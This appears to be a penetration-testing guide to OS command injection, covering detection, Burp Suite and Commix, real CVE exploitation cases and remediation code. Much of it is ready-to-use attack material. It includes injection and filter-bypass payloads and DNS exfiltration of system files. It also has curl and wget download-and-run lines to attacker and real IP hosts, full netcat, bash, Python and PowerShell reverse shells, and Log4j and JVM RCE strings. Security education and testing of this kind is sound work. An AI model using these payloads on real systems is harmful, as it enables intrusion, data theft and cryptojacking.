- Understanding Command Injection
- Testing Methodology
- Manual Exploitation Techniques
- Real-World Application Examples
- Tools and Automation
- Advanced Exploitation Techniques
- Reporting and Remediation
Command injection is a vulnerability that occurs when an application passes unsafe user-supplied data (forms, cookies, HTTP headers) to a system shell. This allows an attacker to execute arbitrary operating system commands on the server hosting the application .
When a web application takes user input and passes it directly to a system command without proper sanitization, command injection becomes possible. For example, a ping utility on a website might take an IP address from a user and execute:
ping -c 4 192.168.1.1If the application does not validate the input, an attacker could inject:
192.168.1.1; whoamiResulting in the server executing:
ping -c 4 192.168.1.1; whoamiFirst, identify all parameters that might be passed to system commands. Common vulnerable parameters include:
cmd, exec, command, execute, ping, query, jump, code, reg, do, func, arg, option, load, process, step, read, function, req, feature, exe, module, payload, run, print, download, path, folder, file, host, proxy, server, destination, address, ip, hostname, port, url, uri
According to PortSwigger's official methodology, you can use Burp Suite to test for OS command injection vulnerabilities :
Procedure:
- In Proxy > HTTP history, right-click the request you want to investigate and select "Send to Repeater"
- Go to the Repeater tab
- Change the parameter you want to test to an OS command injection proof-of-concept attack. For example:
1|whoami - Review the response to determine whether the command has been executed
- If necessary, modify the command and resend the request
- Repeat for each parameter in the request
Use these payloads to test for command injection:
Basic Detection:
&
;
%0a (newline)
&&
|
||
`command`
$(command)
Example Test Requests:
https://target.com/page?param=1|whoami
https://target.com/page?param=1;whoami
https://target.com/page?param=1%0awhoami
https://target.com/page?param=1&&whoami
When commands don't return output directly, use time-based or out-of-band detection .
Time-Based Detection:
https://target.com/page?param=x||ping+-c+10+127.0.0.1||
https://target.com/page?param=x;sleep+10
https://target.com/page?param=x%26%26timeout+10
Out-of-Band (OOB) Detection with Burp Collaborator:
Burp Collaborator helps detect blind command injection vulnerabilities by triggering external network interactions .
Steps:
- In Proxy > HTTP history, identify a request to investigate
- Right-click and select "Send to Repeater"
- Change a parameter's value to a payload using
nslookupwith a Collaborator subdomain - Right-click and select "Insert Collaborator payload" to generate a unique domain
- Click Send
- Go to the Collaborator tab and click "Poll now" - any interactions confirm successful injection
Example Payload:
8.8.8.8;nslookup xyz123.burpcollaborator.net
If a DNS lookup occurs, the Collaborator will capture it, confirming the vulnerability .
Once blind injection is confirmed, exfiltrate data by appending system information to the DNS lookup :
8.8.8.8;nslookup $(hostname).xyz123.burpcollaborator.net
8.8.8.8;nslookup $(whoami).xyz123.burpcollaborator.net
8.8.8.8;nslookup $(cat /etc/passwd | head -n1 | base64).xyz123.burpcollaborator.net
This critical vulnerability affects PHPUnit versions ≤ 5.6.2 and remains actively exploited today, accounting for 24% of observed attacks according to Cato CTRL threat research (November 2024 - February 2025) .
Affected Component: eval-stdin.php in PHPUnit's testing framework
Why It Works: Applications include PHPUnit as a development dependency but mistakenly expose it in production environments .
Attack Vector:
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
<?php system('curl http://attacker.com/shell.sh|bash'); ?>
Observed Exploitation: Attackers use this flaw to deploy cryptojacking malware (Kinsing and XMRig). One observed attacker used:
eval -i 1 — c2hlbGxfZXhlYygnY3VybCBodHRwOi8vMTk0LjM4LjIwLjIvZXguc2h8c2gnKTs=
When decoded: shell_exec('curl http://194.38.20.2/ex.sh|sh');
This vulnerability affects Apache HTTP Server 2.4.49 and allows remote code execution when CGI scripts are enabled .
Percentage of attacks: 17% of observed exploitation attempts
Attack Payload:
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: target.com
Cryptojacking Exploitation:
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: target.com
echo; curl -s http://94.156.177.109/xmrig.sh | bash
This command downloads XMRig cryptocurrency miner to hijack system resources .
This critical RCE vulnerability affects Log4j versions 2.0-beta9 to 2.14.1. Attackers inject malicious JNDI lookups into any data that gets logged .
Attack Vector:
${jndi:ldap://attacker.com/exploit}
Observed Exploitation for Cryptojacking:
${jndi:ldap://45.155.205.233:1389/0t7u5}
When decoded, this executes:
curl -s http://45.155.205.233/ln.sh | bashThis script downloads XMRig with a specific Monero wallet address for mining cryptocurrency .
The Damn Vulnerable Web Application (DVWA) demonstrates command injection vulnerabilities at different security levels .
Low Security (No filtering):
$target = $_REQUEST['ip'];
$cmd = shell_exec('ping -c 4 ' . $target);Exploitation:
192.168.1.1; whoami
192.168.1.1 && id
192.168.1.1 | cat /etc/passwd
Medium Security (Partial blacklist):
$substitutions = array('&&' => '', ';' => '');
$target = str_replace(array_keys($substitutions), $substitutions, $target);Bypass: Use &, |, or || instead of && or ;
192.168.1.1 & ipconfig
192.168.1.1 | whoami
High Security (Attempted comprehensive filtering but with a mistake):
$substitutions = array(
'&' => '', ';' => '', '| ' => '', // Note the space after |
'-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => ''
);Bypass: Use | without a space after it
192.168.1.1 |whoami
This recent vulnerability (published June 2025) affects the Beward N100 IP Camera firmware version M2.1.6.04C014 .
Affected Parameters: ServerName and TimeZone in the servetest CGI page
Impact: Authenticated command injection leading to remote code execution with root privileges
Attack Example:
POST /cgi-bin/servetest.cgi HTTP/1.1
Host: target-ip
Authorization: Basic [credentials]
ServerName=127.0.0.1; wget http://attacker.com/backdoor -O /tmp/backdoor; chmod +x /tmp/backdoor; /tmp/backdoor
A command injection vulnerability in Synology Photos ≤ 1.7.0-0794 was exploitable via a WebSocket event .
Root Cause: Node.js child_process.exec() spawns a shell (/bin/sh -c), so any shell metacharacters in user input result in command injection.
Vulnerable Code Pattern:
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, callback);Safe Alternative:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', ['--id_user', id_user, '--payload', JSON.stringify(payload)]);Commix is an automated tool for detecting and exploiting command injection vulnerabilities, similar to SQLmap for SQL injection .
Installation:
# Clone from GitHub
git clone https://github.com/commixproject/commix.git
cd commix
chmod +x commix.py
# Alternative installation via pip
pip install commixBasic Usage:
# Test a URL parameter
python3 commix.py --url="http://example.com/index.php?id=1"
# Test POST parameters
python3 commix.py --url="http://example.com/login" --data="username=admin&password=1234"
# Test HTTP headers
python3 commix.py --url="http://example.com" --headers="User-Agent: test"
# Blind command injection testing
python3 commix.py --url="http://example.com" --blindAdvanced Features:
# WAF bypass with tamper scripts
python3 commix.py --url="http://example.com" --tamper="random_case,double_urlencode"
# Custom payload
python3 commix.py --url="http://example.com" --payload="; cat /etc/passwd"
# Proxy support
python3 commix.py --url="http://example.com" --proxy="http://127.0.0.1:8080"Commix supports GET, POST, headers, cookies, and JSON payloads, making it versatile for different testing scenarios .
Burp Suite Professional includes automated scanning for command injection vulnerabilities :
Automated Scanning:
- Identify a request in Proxy > HTTP history
- Right-click and select "Do active scan"
- Review the Issues tab on the Dashboard for flagged issues
Manual Testing with Repeater:
- Send requests to Repeater
- Modify parameters with injection payloads
- Analyze responses for command execution evidence
Blind Injection with Collaborator:
- Open Collaborator tab and copy a payload domain
- Inject
nslookup [collaborator-domain]into parameters - Poll Collaborator for DNS interactions
Nikto: Web server scanner that can identify command injection vulnerabilities
Nuclei: Template-based scanner with command injection detection templates
Custom Scripts: Python scripts using requests library for automated injection testing
Depending on where your input is injected, you may need to terminate the quoted context first :
Inside single quotes:
vuln_param='; id; echo '
Inside double quotes:
vuln_param="; id; echo "
Inside backticks:
vuln_param='`; id; `'
Not all injections require shell metacharacters. If untrusted strings are passed as arguments to system utilities, programs parse - and -- arguments as options :
Ping option injection:
-f # flood ping (DoS)
-c 100000 # large count
Curl option injection:
-o /tmp/x # write output to file
-K http://attacker.com/config # load attacker config
Tcpdump option injection:
-G 1 -W 1 -z /path/script.sh # post-rotate execution
Linux Bypasses:
# Alternative command execution
cat /etc/passwd
cat /e"t"c/pa"s"swd
cat /'e'tc/pa's'swd
cat /etc/pa??wd
cat /etc/pa*wd
{cat,/etc/passwd}
cat /???/?????d
c'a't /etc/passwd
c\a\t /etc/passwd
$(echo cat | tr 'a-z' 'a-z') /etc/passwd
# IFS (Internal Field Separator) bypass
cat${IFS}/etc/passwd
cat$IFS/etc/passwdWindows Bypasses:
# Alternative character expansion
powershell C:**2\n??e*d.*?
@^p^o^w^e^r^shell c:**32\c*?c.e?eExtract data character by character using timing attacks :
# Check if first character of username is 's'
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
# Takes 5 seconds = first character is 's'
time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
# No delay = first character is not 'a'Linux Reverse Shell:
# Netcat reverse shell
vuln=127.0.0.1%0anohup nc -e /bin/bash attacker-ip 4444
# Bash reverse shell
vuln=127.0.0.1; bash -i >& /dev/tcp/attacker-ip/4444 0>&1
# Python reverse shell
vuln=127.0.0.1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker-ip",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'Windows Reverse Shell:
# PowerShell reverse shell
vuln=127.0.0.1; powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$c=New-Object System.Net.Sockets.TCPClient('attacker-ip',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + 'PS ' + (pwd).Path + '> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"Multi-stage encoded payloads:
# Base64 encoded payload execution
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
# Chained download and execution
vuln=127.0.0.1 %0a wget https://evil.com/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
# DNS exfiltration with subdomain
vuln=127.0.0.1; nslookup `whoami`.attacker.comAny primitive that lets you inject JVM command-line arguments can be turned into reliable RCE. These diagnostics are parsed by the JVM itself, so no shell metacharacters are required :
# Force crash + run OS command on OOM
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -EncodedCommand <blob>"
# Linux version
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl https://attacker/p.sh | sh'"This exploitation chain combines authentication bypass with command injection :
Steps:
- Browse to
/app?service=page/SetupCompletedand click Login (authentication bypass) - Navigate to Options → Config Editor
- Set
print-and-device.script.enabled=Yandprint.script.sandboxed=N - In printer Scripting tab, place payload outside the function:
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker.com/hit"];
java.lang.Runtime.getRuntime().exec(cmd);Vulnerability Title: OS Command Injection
Description: The application fails to sanitize user input passed to system commands, allowing arbitrary command execution.
Affected Parameter: [parameter name]
Proof of Concept:
Request:
GET /page?param=1|whoami HTTP/1.1
Host: target.com
Response showing command output:
[output of whoami command]
Impact: An attacker can execute arbitrary operating system commands, potentially leading to:
- Full system compromise
- Data theft or destruction
- Lateral movement within the network
- Cryptocurrency mining (as observed in recent attacks)
CVSS Score: Critical (9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Immediate Fixes:
- Never call system shell commands from application code when possible
- Use built-in language functions instead of shell commands
- Implement strict input validation using allowlists (not denylists)
- Escape user input using language-specific functions:
- PHP:
escapeshellarg()andescapeshellcmd() - Python:
shlex.quote() - Java: Use
ProcessBuilderwith separate arguments
- PHP:
Code Examples:
PHP (Vulnerable):
$target = $_REQUEST['ip'];
$cmd = shell_exec('ping -c 4 ' . $target); // CRITICAL VULNERABILITYPHP (Fixed):
$target = $_REQUEST['ip'];
if (filter_var($target, FILTER_VALIDATE_IP)) {
$cmd = shell_exec('ping -c 4 ' . escapeshellarg($target)); // Safe
} else {
// Reject invalid input
}Python (Vulnerable):
import os
os.system("ping " + user_input) # CRITICAL VULNERABILITYPython (Fixed):
import subprocess
subprocess.run(["ping", user_input]) # Safe with list argumentJava (Vulnerable):
Runtime.getRuntime().exec("ping " + userInput); // CRITICAL VULNERABILITYJava (Fixed):
new ProcessBuilder("ping", userInput).start(); // Safe with separate argumentsNode.js (Vulnerable):
const { exec } = require('child_process');
exec('ping ' + userInput); // CRITICAL VULNERABILITY - spawns shellNode.js (Fixed):
const { execFile } = require('child_process');
execFile('ping', [userInput]); // Safe - no shell involvedLong-term Recommendations:
- Disable dangerous PHP functions in php.ini:
exec,shell_exec,system,passthru,popen - Run web applications with least privilege (not as root)
- Use chroot jails or containers
- Implement Web Application Firewall (WAF) rules
- Regular security testing and code reviews
- Keep all software and dependencies updated
- Remove development dependencies from production environments (like PHPUnit test files)
- XSS - Cross-site scripting attacks
- SSRF - Server-side request forgery
- LFI/RFI - File inclusion vulnerabilities
- Web Exploits - RCE exploitation chains
- Reverse Shells - Shell payloads
- PortSwigger. "Testing for OS command injection vulnerabilities." Burp Suite Documentation, 2026.
- Cato Networks. "Cato CTRL Threat Research: Stuck in the Past - How Hackers Exploit Years-Old CVEs for Cryptojacking." March 2025.
- Commix Project. "Automated All-in-One OS Command Injection Exploitation Tool." GitHub.
- PortSwigger. "Testing for asynchronous OS command injection vulnerabilities with Burp Suite." 2026.
- Tevora. "Blind Command Injection Testing with Burp Collaborator."
- HackTricks. "Command Injection." 2026.
- CIRCL. "GHSA-8749-75MJ-7339 - Beward N100 Command Injection." June 2025.